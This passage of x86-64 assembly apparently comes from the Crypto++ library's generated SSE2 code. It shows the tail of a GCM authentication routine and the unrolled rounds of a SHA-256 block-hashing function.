movzx edi, al
add rdi, rdi
pxor xmm0, [rsi + 32 + (2*4+0)*256*16 + rdi*8]
movzx edi, ah
add rdi, rdi
pxor xmm0, [rsi + 32 + (2*4+1)*256*16 + rdi*8]
shr eax, 16
movzx edi, al
add rdi, rdi
pxor xmm0, [rsi + 32 + (2*4+2)*256*16 + rdi*8]
movzx edi, ah
add rdi, rdi
pxor xmm0, [rsi + 32 + (2*4+3)*256*16 + rdi*8]
movd eax, xmm1
psrldq xmm1, 4
movzx edi, al
add rdi, rdi
pxor xmm0, [rsi + 32 + (3*4+0)*256*16 + rdi*8]
movzx edi, ah
add rdi, rdi
pxor xmm0, [rsi + 32 + (3*4+1)*256*16 + rdi*8]
shr eax, 16
movzx edi, al
add rdi, rdi
pxor xmm0, [rsi + 32 + (3*4+2)*256*16 + rdi*8]
movzx edi, ah
add rdi, rdi
pxor xmm0, [rsi + 32 + (3*4+3)*256*16 + rdi*8]
add rcx, 16
sub rdx, 1
jnz label1
movdqa [rsi], xmm0
pop rdi
pop rsi
ret
GCM_AuthenticateBlocks_64K_SSE2 ENDP
ALIGN 8
SHA256_HashMultipleBlocks_SSE2 PROC FRAME
rex_push_reg rsi
push_reg rdi
push_reg rbx
push_reg rbp
alloc_stack(8*4 + 16*4 + 4*8 + 8)
.endprolog
mov rdi, r8
lea rsi, [?SHA256_K@CryptoPP@@3QBIB + 48*4]
mov [rsp+8*4+16*4+1*8], rcx
mov [rsp+8*4+16*4+2*8], rdx
add rdi, rdx
mov [rsp+8*4+16*4+3*8], rdi
movdqa xmm0, XMMWORD PTR [rcx+0*16]
movdqa xmm1, XMMWORD PTR [rcx+1*16]
mov [rsp+8*4+16*4+0*8], rsi
label0:
sub rsi, 48*4
movdqa [rsp+((1024+7-(0+3)) MOD (8))*4], xmm1
movdqa [rsp+((1024+7-(0+7)) MOD (8))*4], xmm0
mov rbx, [rdx+0*8]
bswap rbx
mov [rsp+8*4+((1024+15-(0*(1+1)+1)) MOD (16))*4], rbx
mov rbx, [rdx+1*8]
bswap rbx
mov [rsp+8*4+((1024+15-(1*(1+1)+1)) MOD (16))*4], rbx
mov rbx, [rdx+2*8]
bswap rbx
mov [rsp+8*4+((1024+15-(2*(1+1)+1)) MOD (16))*4], rbx
mov rbx, [rdx+3*8]
bswap rbx
mov [rsp+8*4+((1024+15-(3*(1+1)+1)) MOD (16))*4], rbx
mov rbx, [rdx+4*8]
bswap rbx
mov [rsp+8*4+((1024+15-(4*(1+1)+1)) MOD (16))*4], rbx
mov rbx, [rdx+5*8]
bswap rbx
mov [rsp+8*4+((1024+15-(5*(1+1)+1)) MOD (16))*4], rbx
mov rbx, [rdx+6*8]
bswap rbx
mov [rsp+8*4+((1024+15-(6*(1+1)+1)) MOD (16))*4], rbx
mov rbx, [rdx+7*8]
bswap rbx
mov [rsp+8*4+((1024+15-(7*(1+1)+1)) MOD (16))*4], rbx
mov edi, [rsp+((1024+7-(0+3)) MOD (8))*4]
mov eax, [rsp+((1024+7-(0+6)) MOD (8))*4]
xor eax, [rsp+((1024+7-(0+5)) MOD (8))*4]
mov ecx, [rsp+((1024+7-(0+7)) MOD (8))*4]
mov edx, [rsp+((1024+7-(0+2)) MOD (8))*4]
xor edx, [rsp+((1024+7-(0+1)) MOD (8))*4]
and edx, edi
xor edx, [rsp+((1024+7-(0+1)) MOD (8))*4]
mov ebp, edi
ror edi, 6
ror ebp, 25
add edx, [rsi+(0)*4]
add edx, [rsp+8*4+((1024+15-(0)) MOD (16))*4]
add edx, [rsp+((1024+7-(0)) MOD (8))*4]
xor ebp, edi
ror edi, 5
xor ebp, edi
add edx, ebp
mov ebx, ecx
xor ecx, [rsp+((1024+7-(0+6)) MOD (8))*4]
and eax, ecx
xor eax, [rsp+((1024+7-(0+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add eax, edx
add edx, [rsp+((1024+7-(0+4)) MOD (8))*4]
mov [rsp+((1024+7-(0+4)) MOD (8))*4], edx
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add eax, ebp
mov [rsp+((1024+7-(0)) MOD (8))*4], eax
mov edi, [rsp+((1024+7-(1+2)) MOD (8))*4]
xor edi, [rsp+((1024+7-(1+1)) MOD (8))*4]
and edi, edx
xor edi, [rsp+((1024+7-(1+1)) MOD (8))*4]
mov ebp, edx
ror edx, 6
ror ebp, 25
add edi, [rsi+(1)*4]
add edi, [rsp+8*4+((1024+15-(1)) MOD (16))*4]
add edi, [rsp+((1024+7-(1)) MOD (8))*4]
xor ebp, edx
ror edx, 5
xor ebp, edx
add edi, ebp
mov ebx, eax
xor eax, [rsp+((1024+7-(1+6)) MOD (8))*4]
and ecx, eax
xor ecx, [rsp+((1024+7-(1+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add ecx, edi
add edi, [rsp+((1024+7-(1+4)) MOD (8))*4]
mov [rsp+((1024+7-(1+4)) MOD (8))*4], edi
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add ecx, ebp
mov [rsp+((1024+7-(1)) MOD (8))*4], ecx
mov edx, [rsp+((1024+7-(2+2)) MOD (8))*4]
xor edx, [rsp+((1024+7-(2+1)) MOD (8))*4]
and edx, edi
xor edx, [rsp+((1024+7-(2+1)) MOD (8))*4]
mov ebp, edi
ror edi, 6
ror ebp, 25
add edx, [rsi+(2)*4]
add edx, [rsp+8*4+((1024+15-(2)) MOD (16))*4]
add edx, [rsp+((1024+7-(2)) MOD (8))*4]
xor ebp, edi
ror edi, 5
xor ebp, edi
add edx, ebp
mov ebx, ecx
xor ecx, [rsp+((1024+7-(2+6)) MOD (8))*4]
and eax, ecx
xor eax, [rsp+((1024+7-(2+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add eax, edx
add edx, [rsp+((1024+7-(2+4)) MOD (8))*4]
mov [rsp+((1024+7-(2+4)) MOD (8))*4], edx
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add eax, ebp
mov [rsp+((1024+7-(2)) MOD (8))*4], eax
mov edi, [rsp+((1024+7-(3+2)) MOD (8))*4]
xor edi, [rsp+((1024+7-(3+1)) MOD (8))*4]
and edi, edx
xor edi, [rsp+((1024+7-(3+1)) MOD (8))*4]
mov ebp, edx
ror edx, 6
ror ebp, 25
add edi, [rsi+(3)*4]
add edi, [rsp+8*4+((1024+15-(3)) MOD (16))*4]
add edi, [rsp+((1024+7-(3)) MOD (8))*4]
xor ebp, edx
ror edx, 5
xor ebp, edx
add edi, ebp
mov ebx, eax
xor eax, [rsp+((1024+7-(3+6)) MOD (8))*4]
and ecx, eax
xor ecx, [rsp+((1024+7-(3+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add ecx, edi
add edi, [rsp+((1024+7-(3+4)) MOD (8))*4]
mov [rsp+((1024+7-(3+4)) MOD (8))*4], edi
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add ecx, ebp
mov [rsp+((1024+7-(3)) MOD (8))*4], ecx
mov edx, [rsp+((1024+7-(4+2)) MOD (8))*4]
xor edx, [rsp+((1024+7-(4+1)) MOD (8))*4]
and edx, edi
xor edx, [rsp+((1024+7-(4+1)) MOD (8))*4]
mov ebp, edi
ror edi, 6
ror ebp, 25
add edx, [rsi+(4)*4]
add edx, [rsp+8*4+((1024+15-(4)) MOD (16))*4]
add edx, [rsp+((1024+7-(4)) MOD (8))*4]
xor ebp, edi
ror edi, 5
xor ebp, edi
add edx, ebp
mov ebx, ecx
xor ecx, [rsp+((1024+7-(4+6)) MOD (8))*4]
and eax, ecx
xor eax, [rsp+((1024+7-(4+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add eax, edx
add edx, [rsp+((1024+7-(4+4)) MOD (8))*4]
mov [rsp+((1024+7-(4+4)) MOD (8))*4], edx
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add eax, ebp
mov [rsp+((1024+7-(4)) MOD (8))*4], eax
mov edi, [rsp+((1024+7-(5+2)) MOD (8))*4]
xor edi, [rsp+((1024+7-(5+1)) MOD (8))*4]
and edi, edx
xor edi, [rsp+((1024+7-(5+1)) MOD (8))*4]
mov ebp, edx
ror edx, 6
ror ebp, 25
add edi, [rsi+(5)*4]
add edi, [rsp+8*4+((1024+15-(5)) MOD (16))*4]
add edi, [rsp+((1024+7-(5)) MOD (8))*4]
xor ebp, edx
ror edx, 5
xor ebp, edx
add edi, ebp
mov ebx, eax
xor eax, [rsp+((1024+7-(5+6)) MOD (8))*4]
and ecx, eax
xor ecx, [rsp+((1024+7-(5+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add ecx, edi
add edi, [rsp+((1024+7-(5+4)) MOD (8))*4]
mov [rsp+((1024+7-(5+4)) MOD (8))*4], edi
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add ecx, ebp
mov [rsp+((1024+7-(5)) MOD (8))*4], ecx
mov edx, [rsp+((1024+7-(6+2)) MOD (8))*4]
xor edx, [rsp+((1024+7-(6+1)) MOD (8))*4]
and edx, edi
xor edx, [rsp+((1024+7-(6+1)) MOD (8))*4]
mov ebp, edi
ror edi, 6
ror ebp, 25
add edx, [rsi+(6)*4]
add edx, [rsp+8*4+((1024+15-(6)) MOD (16))*4]
add edx, [rsp+((1024+7-(6)) MOD (8))*4]
xor ebp, edi
ror edi, 5
xor ebp, edi
add edx, ebp
mov ebx, ecx
xor ecx, [rsp+((1024+7-(6+6)) MOD (8))*4]
and eax, ecx
xor eax, [rsp+((1024+7-(6+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add eax, edx
add edx, [rsp+((1024+7-(6+4)) MOD (8))*4]
mov [rsp+((1024+7-(6+4)) MOD (8))*4], edx
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add eax, ebp
mov [rsp+((1024+7-(6)) MOD (8))*4], eax
mov edi, [rsp+((1024+7-(7+2)) MOD (8))*4]
xor edi, [rsp+((1024+7-(7+1)) MOD (8))*4]
and edi, edx
xor edi, [rsp+((1024+7-(7+1)) MOD (8))*4]
mov ebp, edx
ror edx, 6
ror ebp, 25
add edi, [rsi+(7)*4]
add edi, [rsp+8*4+((1024+15-(7)) MOD (16))*4]
add edi, [rsp+((1024+7-(7)) MOD (8))*4]
xor ebp, edx
ror edx, 5
xor ebp, edx
add edi, ebp
mov ebx, eax
xor eax, [rsp+((1024+7-(7+6)) MOD (8))*4]
and ecx, eax
xor ecx, [rsp+((1024+7-(7+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add ecx, edi
add edi, [rsp+((1024+7-(7+4)) MOD (8))*4]
mov [rsp+((1024+7-(7+4)) MOD (8))*4], edi
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add ecx, ebp
mov [rsp+((1024+7-(7)) MOD (8))*4], ecx
mov edx, [rsp+((1024+7-(8+2)) MOD (8))*4]
xor edx, [rsp+((1024+7-(8+1)) MOD (8))*4]
and edx, edi
xor edx, [rsp+((1024+7-(8+1)) MOD (8))*4]
mov ebp, edi
ror edi, 6
ror ebp, 25
add edx, [rsi+(8)*4]
add edx, [rsp+8*4+((1024+15-(8)) MOD (16))*4]
add edx, [rsp+((1024+7-(8)) MOD (8))*4]
xor ebp, edi
ror edi, 5
xor ebp, edi
add edx, ebp
mov ebx, ecx
xor ecx, [rsp+((1024+7-(8+6)) MOD (8))*4]
and eax, ecx
xor eax, [rsp+((1024+7-(8+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add eax, edx
add edx, [rsp+((1024+7-(8+4)) MOD (8))*4]
mov [rsp+((1024+7-(8+4)) MOD (8))*4], edx
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add eax, ebp
mov [rsp+((1024+7-(8)) MOD (8))*4], eax
mov edi, [rsp+((1024+7-(9+2)) MOD (8))*4]
xor edi, [rsp+((1024+7-(9+1)) MOD (8))*4]
and edi, edx
xor edi, [rsp+((1024+7-(9+1)) MOD (8))*4]
mov ebp, edx
ror edx, 6
ror ebp, 25
add edi, [rsi+(9)*4]
add edi, [rsp+8*4+((1024+15-(9)) MOD (16))*4]
add edi, [rsp+((1024+7-(9)) MOD (8))*4]
xor ebp, edx
ror edx, 5
xor ebp, edx
add edi, ebp
mov ebx, eax
xor eax, [rsp+((1024+7-(9+6)) MOD (8))*4]
and ecx, eax
xor ecx, [rsp+((1024+7-(9+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add ecx, edi
add edi, [rsp+((1024+7-(9+4)) MOD (8))*4]
mov [rsp+((1024+7-(9+4)) MOD (8))*4], edi
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add ecx, ebp
mov [rsp+((1024+7-(9)) MOD (8))*4], ecx
mov edx, [rsp+((1024+7-(10+2)) MOD (8))*4]
xor edx, [rsp+((1024+7-(10+1)) MOD (8))*4]
and edx, edi
xor edx, [rsp+((1024+7-(10+1)) MOD (8))*4]
mov ebp, edi
ror edi, 6
ror ebp, 25
add edx, [rsi+(10)*4]
add edx, [rsp+8*4+((1024+15-(10)) MOD (16))*4]
add edx, [rsp+((1024+7-(10)) MOD (8))*4]
xor ebp, edi
ror edi, 5
xor ebp, edi
add edx, ebp
mov ebx, ecx
xor ecx, [rsp+((1024+7-(10+6)) MOD (8))*4]
and eax, ecx
xor eax, [rsp+((1024+7-(10+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add eax, edx
add edx, [rsp+((1024+7-(10+4)) MOD (8))*4]
mov [rsp+((1024+7-(10+4)) MOD (8))*4], edx
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add eax, ebp
mov [rsp+((1024+7-(10)) MOD (8))*4], eax
mov edi, [rsp+((1024+7-(11+2)) MOD (8))*4]
xor edi, [rsp+((1024+7-(11+1)) MOD (8))*4]
and edi, edx
xor edi, [rsp+((1024+7-(11+1)) MOD (8))*4]
mov ebp, edx
ror edx, 6
ror ebp, 25
add edi, [rsi+(11)*4]
add edi, [rsp+8*4+((1024+15-(11)) MOD (16))*4]
add edi, [rsp+((1024+7-(11)) MOD (8))*4]
xor ebp, edx
ror edx, 5
xor ebp, edx
add edi, ebp
mov ebx, eax
xor eax, [rsp+((1024+7-(11+6)) MOD (8))*4]
and ecx, eax
xor ecx, [rsp+((1024+7-(11+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add ecx, edi
add edi, [rsp+((1024+7-(11+4)) MOD (8))*4]
mov [rsp+((1024+7-(11+4)) MOD (8))*4], edi
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add ecx, ebp
mov [rsp+((1024+7-(11)) MOD (8))*4], ecx
mov edx, [rsp+((1024+7-(12+2)) MOD (8))*4]
xor edx, [rsp+((1024+7-(12+1)) MOD (8))*4]
and edx, edi
xor edx, [rsp+((1024+7-(12+1)) MOD (8))*4]
mov ebp, edi
ror edi, 6
ror ebp, 25
add edx, [rsi+(12)*4]
add edx, [rsp+8*4+((1024+15-(12)) MOD (16))*4]
add edx, [rsp+((1024+7-(12)) MOD (8))*4]
xor ebp, edi
ror edi, 5
xor ebp, edi
add edx, ebp
mov ebx, ecx
xor ecx, [rsp+((1024+7-(12+6)) MOD (8))*4]
and eax, ecx
xor eax, [rsp+((1024+7-(12+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add eax, edx
add edx, [rsp+((1024+7-(12+4)) MOD (8))*4]
mov [rsp+((1024+7-(12+4)) MOD (8))*4], edx
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add eax, ebp
mov [rsp+((1024+7-(12)) MOD (8))*4], eax
mov edi, [rsp+((1024+7-(13+2)) MOD (8))*4]
xor edi, [rsp+((1024+7-(13+1)) MOD (8))*4]
and edi, edx
xor edi, [rsp+((1024+7-(13+1)) MOD (8))*4]
mov ebp, edx
ror edx, 6
ror ebp, 25
add edi, [rsi+(13)*4]
add edi, [rsp+8*4+((1024+15-(13)) MOD (16))*4]
add edi, [rsp+((1024+7-(13)) MOD (8))*4]
xor ebp, edx
ror edx, 5
xor ebp, edx
add edi, ebp
mov ebx, eax
xor eax, [rsp+((1024+7-(13+6)) MOD (8))*4]
and ecx, eax
xor ecx, [rsp+((1024+7-(13+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add ecx, edi
add edi, [rsp+((1024+7-(13+4)) MOD (8))*4]
mov [rsp+((1024+7-(13+4)) MOD (8))*4], edi
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add ecx, ebp
mov [rsp+((1024+7-(13)) MOD (8))*4], ecx
mov edx, [rsp+((1024+7-(14+2)) MOD (8))*4]
xor edx, [rsp+((1024+7-(14+1)) MOD (8))*4]
and edx, edi
xor edx, [rsp+((1024+7-(14+1)) MOD (8))*4]
mov ebp, edi
ror edi, 6
ror ebp, 25
add edx, [rsi+(14)*4]
add edx, [rsp+8*4+((1024+15-(14)) MOD (16))*4]
add edx, [rsp+((1024+7-(14)) MOD (8))*4]
xor ebp, edi
ror edi, 5
xor ebp, edi
add edx, ebp
mov ebx, ecx
xor ecx, [rsp+((1024+7-(14+6)) MOD (8))*4]
and eax, ecx
xor eax, [rsp+((1024+7-(14+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add eax, edx
add edx, [rsp+((1024+7-(14+4)) MOD (8))*4]
mov [rsp+((1024+7-(14+4)) MOD (8))*4], edx
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add eax, ebp
mov [rsp+((1024+7-(14)) MOD (8))*4], eax
mov edi, [rsp+((1024+7-(15+2)) MOD (8))*4]
xor edi, [rsp+((1024+7-(15+1)) MOD (8))*4]
and edi, edx
xor edi, [rsp+((1024+7-(15+1)) MOD (8))*4]
mov ebp, edx
ror edx, 6
ror ebp, 25
add edi, [rsi+(15)*4]
add edi, [rsp+8*4+((1024+15-(15)) MOD (16))*4]
add edi, [rsp+((1024+7-(15)) MOD (8))*4]
xor ebp, edx
ror edx, 5
xor ebp, edx
add edi, ebp
mov ebx, eax
xor eax, [rsp+((1024+7-(15+6)) MOD (8))*4]
and ecx, eax
xor ecx, [rsp+((1024+7-(15+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add ecx, edi
add edi, [rsp+((1024+7-(15+4)) MOD (8))*4]
mov [rsp+((1024+7-(15+4)) MOD (8))*4], edi
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add ecx, ebp
mov [rsp+((1024+7-(15)) MOD (8))*4], ecx
label1:
add rsi, 4*16
mov edx, [rsp+((1024+7-(0+2)) MOD (8))*4]
xor edx, [rsp+((1024+7-(0+1)) MOD (8))*4]
and edx, edi
xor edx, [rsp+((1024+7-(0+1)) MOD (8))*4]
mov ebp, edi
ror edi, 6
ror ebp, 25
xor ebp, edi
ror edi, 5
xor ebp, edi
add edx, ebp
mov ebp, [rsp+8*4+((1024+15-((0)-2)) MOD (16))*4]
mov edi, [rsp+8*4+((1024+15-((0)-15)) MOD (16))*4]
mov ebx, ebp
shr ebp, 10
ror ebx, 17
xor ebp, ebx
ror ebx, 2
xor ebx, ebp
add ebx, [rsp+8*4+((1024+15-((0)-7)) MOD (16))*4]
mov ebp, edi
shr ebp, 3
ror edi, 7
add ebx, [rsp+8*4+((1024+15-(0)) MOD (16))*4]
xor ebp, edi
add edx, [rsi+(0)*4]
ror edi, 11
add edx, [rsp+((1024+7-(0)) MOD (8))*4]
xor ebp, edi
add ebp, ebx
mov [rsp+8*4+((1024+15-(0)) MOD (16))*4], ebp
add edx, ebp
mov ebx, ecx
xor ecx, [rsp+((1024+7-(0+6)) MOD (8))*4]
and eax, ecx
xor eax, [rsp+((1024+7-(0+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add eax, edx
add edx, [rsp+((1024+7-(0+4)) MOD (8))*4]
mov [rsp+((1024+7-(0+4)) MOD (8))*4], edx
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add eax, ebp
mov [rsp+((1024+7-(0)) MOD (8))*4], eax
mov edi, [rsp+((1024+7-(1+2)) MOD (8))*4]
xor edi, [rsp+((1024+7-(1+1)) MOD (8))*4]
and edi, edx
xor edi, [rsp+((1024+7-(1+1)) MOD (8))*4]
mov ebp, edx
ror edx, 6
ror ebp, 25
xor ebp, edx
ror edx, 5
xor ebp, edx
add edi, ebp
mov ebp, [rsp+8*4+((1024+15-((1)-2)) MOD (16))*4]
mov edx, [rsp+8*4+((1024+15-((1)-15)) MOD (16))*4]
mov ebx, ebp
shr ebp, 10
ror ebx, 17
xor ebp, ebx
ror ebx, 2
xor ebx, ebp
add ebx, [rsp+8*4+((1024+15-((1)-7)) MOD (16))*4]
mov ebp, edx
shr ebp, 3
ror edx, 7
add ebx, [rsp+8*4+((1024+15-(1)) MOD (16))*4]
xor ebp, edx
add edi, [rsi+(1)*4]
ror edx, 11
add edi, [rsp+((1024+7-(1)) MOD (8))*4]
xor ebp, edx
add ebp, ebx
mov [rsp+8*4+((1024+15-(1)) MOD (16))*4], ebp
add edi, ebp
mov ebx, eax
xor eax, [rsp+((1024+7-(1+6)) MOD (8))*4]
and ecx, eax
xor ecx, [rsp+((1024+7-(1+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add ecx, edi
add edi, [rsp+((1024+7-(1+4)) MOD (8))*4]
mov [rsp+((1024+7-(1+4)) MOD (8))*4], edi
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add ecx, ebp
mov [rsp+((1024+7-(1)) MOD (8))*4], ecx
mov edx, [rsp+((1024+7-(2+2)) MOD (8))*4]
xor edx, [rsp+((1024+7-(2+1)) MOD (8))*4]
and edx, edi
xor edx, [rsp+((1024+7-(2+1)) MOD (8))*4]
mov ebp, edi
ror edi, 6
ror ebp, 25
xor ebp, edi
ror edi, 5
xor ebp, edi
add edx, ebp
mov ebp, [rsp+8*4+((1024+15-((2)-2)) MOD (16))*4]
mov edi, [rsp+8*4+((1024+15-((2)-15)) MOD (16))*4]
mov ebx, ebp
shr ebp, 10
ror ebx, 17
xor ebp, ebx
ror ebx, 2
xor ebx, ebp
add ebx, [rsp+8*4+((1024+15-((2)-7)) MOD (16))*4]
mov ebp, edi
shr ebp, 3
ror edi, 7
add ebx, [rsp+8*4+((1024+15-(2)) MOD (16))*4]
xor ebp, edi
add edx, [rsi+(2)*4]
ror edi, 11
add edx, [rsp+((1024+7-(2)) MOD (8))*4]
xor ebp, edi
add ebp, ebx
mov [rsp+8*4+((1024+15-(2)) MOD (16))*4], ebp
add edx, ebp
mov ebx, ecx
xor ecx, [rsp+((1024+7-(2+6)) MOD (8))*4]
and eax, ecx
xor eax, [rsp+((1024+7-(2+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add eax, edx
add edx, [rsp+((1024+7-(2+4)) MOD (8))*4]
mov [rsp+((1024+7-(2+4)) MOD (8))*4], edx
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add eax, ebp
mov [rsp+((1024+7-(2)) MOD (8))*4], eax
mov edi, [rsp+((1024+7-(3+2)) MOD (8))*4]
xor edi, [rsp+((1024+7-(3+1)) MOD (8))*4]
and edi, edx
xor edi, [rsp+((1024+7-(3+1)) MOD (8))*4]
mov ebp, edx
ror edx, 6
ror ebp, 25
xor ebp, edx
ror edx, 5
xor ebp, edx
add edi, ebp
mov ebp, [rsp+8*4+((1024+15-((3)-2)) MOD (16))*4]
mov edx, [rsp+8*4+((1024+15-((3)-15)) MOD (16))*4]
mov ebx, ebp
shr ebp, 10
ror ebx, 17
xor ebp, ebx
ror ebx, 2
xor ebx, ebp
add ebx, [rsp+8*4+((1024+15-((3)-7)) MOD (16))*4]
mov ebp, edx
shr ebp, 3
ror edx, 7
add ebx, [rsp+8*4+((1024+15-(3)) MOD (16))*4]
xor ebp, edx
add edi, [rsi+(3)*4]
ror edx, 11
add edi, [rsp+((1024+7-(3)) MOD (8))*4]
xor ebp, edx
add ebp, ebx
mov [rsp+8*4+((1024+15-(3)) MOD (16))*4], ebp
add edi, ebp
mov ebx, eax
xor eax, [rsp+((1024+7-(3+6)) MOD (8))*4]
and ecx, eax
xor ecx, [rsp+((1024+7-(3+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add ecx, edi
add edi, [rsp+((1024+7-(3+4)) MOD (8))*4]
mov [rsp+((1024+7-(3+4)) MOD (8))*4], edi
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add ecx, ebp
mov [rsp+((1024+7-(3)) MOD (8))*4], ecx
mov edx, [rsp+((1024+7-(4+2)) MOD (8))*4]
xor edx, [rsp+((1024+7-(4+1)) MOD (8))*4]
and edx, edi
xor edx, [rsp+((1024+7-(4+1)) MOD (8))*4]
mov ebp, edi
ror edi, 6
ror ebp, 25
xor ebp, edi
ror edi, 5
xor ebp, edi
add edx, ebp
mov ebp, [rsp+8*4+((1024+15-((4)-2)) MOD (16))*4]
mov edi, [rsp+8*4+((1024+15-((4)-15)) MOD (16))*4]
mov ebx, ebp
shr ebp, 10
ror ebx, 17
xor ebp, ebx
ror ebx, 2
xor ebx, ebp
add ebx, [rsp+8*4+((1024+15-((4)-7)) MOD (16))*4]
mov ebp, edi
shr ebp, 3
ror edi, 7
add ebx, [rsp+8*4+((1024+15-(4)) MOD (16))*4]
xor ebp, edi
add edx, [rsi+(4)*4]
ror edi, 11
add edx, [rsp+((1024+7-(4)) MOD (8))*4]
xor ebp, edi
add ebp, ebx
mov [rsp+8*4+((1024+15-(4)) MOD (16))*4], ebp
add edx, ebp
mov ebx, ecx
xor ecx, [rsp+((1024+7-(4+6)) MOD (8))*4]
and eax, ecx
xor eax, [rsp+((1024+7-(4+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add eax, edx
add edx, [rsp+((1024+7-(4+4)) MOD (8))*4]
mov [rsp+((1024+7-(4+4)) MOD (8))*4], edx
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add eax, ebp
mov [rsp+((1024+7-(4)) MOD (8))*4], eax
mov edi, [rsp+((1024+7-(5+2)) MOD (8))*4]
xor edi, [rsp+((1024+7-(5+1)) MOD (8))*4]
and edi, edx
xor edi, [rsp+((1024+7-(5+1)) MOD (8))*4]
mov ebp, edx
ror edx, 6
ror ebp, 25
xor ebp, edx
ror edx, 5
xor ebp, edx
add edi, ebp
mov ebp, [rsp+8*4+((1024+15-((5)-2)) MOD (16))*4]
mov edx, [rsp+8*4+((1024+15-((5)-15)) MOD (16))*4]
mov ebx, ebp
shr ebp, 10
ror ebx, 17
xor ebp, ebx
ror ebx, 2
xor ebx, ebp
add ebx, [rsp+8*4+((1024+15-((5)-7)) MOD (16))*4]
mov ebp, edx
shr ebp, 3
ror edx, 7
add ebx, [rsp+8*4+((1024+15-(5)) MOD (16))*4]
xor ebp, edx
add edi, [rsi+(5)*4]
ror edx, 11
add edi, [rsp+((1024+7-(5)) MOD (8))*4]
xor ebp, edx
add ebp, ebx
mov [rsp+8*4+((1024+15-(5)) MOD (16))*4], ebp
add edi, ebp
mov ebx, eax
xor eax, [rsp+((1024+7-(5+6)) MOD (8))*4]
and ecx, eax
xor ecx, [rsp+((1024+7-(5+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add ecx, edi
add edi, [rsp+((1024+7-(5+4)) MOD (8))*4]
mov [rsp+((1024+7-(5+4)) MOD (8))*4], edi
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add ecx, ebp
mov [rsp+((1024+7-(5)) MOD (8))*4], ecx
mov edx, [rsp+((1024+7-(6+2)) MOD (8))*4]
xor edx, [rsp+((1024+7-(6+1)) MOD (8))*4]
and edx, edi
xor edx, [rsp+((1024+7-(6+1)) MOD (8))*4]
mov ebp, edi
ror edi, 6
ror ebp, 25
xor ebp, edi
ror edi, 5
xor ebp, edi
add edx, ebp
mov ebp, [rsp+8*4+((1024+15-((6)-2)) MOD (16))*4]
mov edi, [rsp+8*4+((1024+15-((6)-15)) MOD (16))*4]
mov ebx, ebp
shr ebp, 10
ror ebx, 17
xor ebp, ebx
ror ebx, 2
xor ebx, ebp
add ebx, [rsp+8*4+((1024+15-((6)-7)) MOD (16))*4]
mov ebp, edi
shr ebp, 3
ror edi, 7
add ebx, [rsp+8*4+((1024+15-(6)) MOD (16))*4]
xor ebp, edi
add edx, [rsi+(6)*4]
ror edi, 11
add edx, [rsp+((1024+7-(6)) MOD (8))*4]
xor ebp, edi
add ebp, ebx
mov [rsp+8*4+((1024+15-(6)) MOD (16))*4], ebp
add edx, ebp
mov ebx, ecx
xor ecx, [rsp+((1024+7-(6+6)) MOD (8))*4]
and eax, ecx
xor eax, [rsp+((1024+7-(6+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add eax, edx
add edx, [rsp+((1024+7-(6+4)) MOD (8))*4]
mov [rsp+((1024+7-(6+4)) MOD (8))*4], edx
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add eax, ebp
mov [rsp+((1024+7-(6)) MOD (8))*4], eax
mov edi, [rsp+((1024+7-(7+2)) MOD (8))*4]
xor edi, [rsp+((1024+7-(7+1)) MOD (8))*4]
and edi, edx
xor edi, [rsp+((1024+7-(7+1)) MOD (8))*4]
mov ebp, edx
ror edx, 6
ror ebp, 25
xor ebp, edx
ror edx, 5
xor ebp, edx
add edi, ebp
mov ebp, [rsp+8*4+((1024+15-((7)-2)) MOD (16))*4]
mov edx, [rsp+8*4+((1024+15-((7)-15)) MOD (16))*4]
mov ebx, ebp
shr ebp, 10
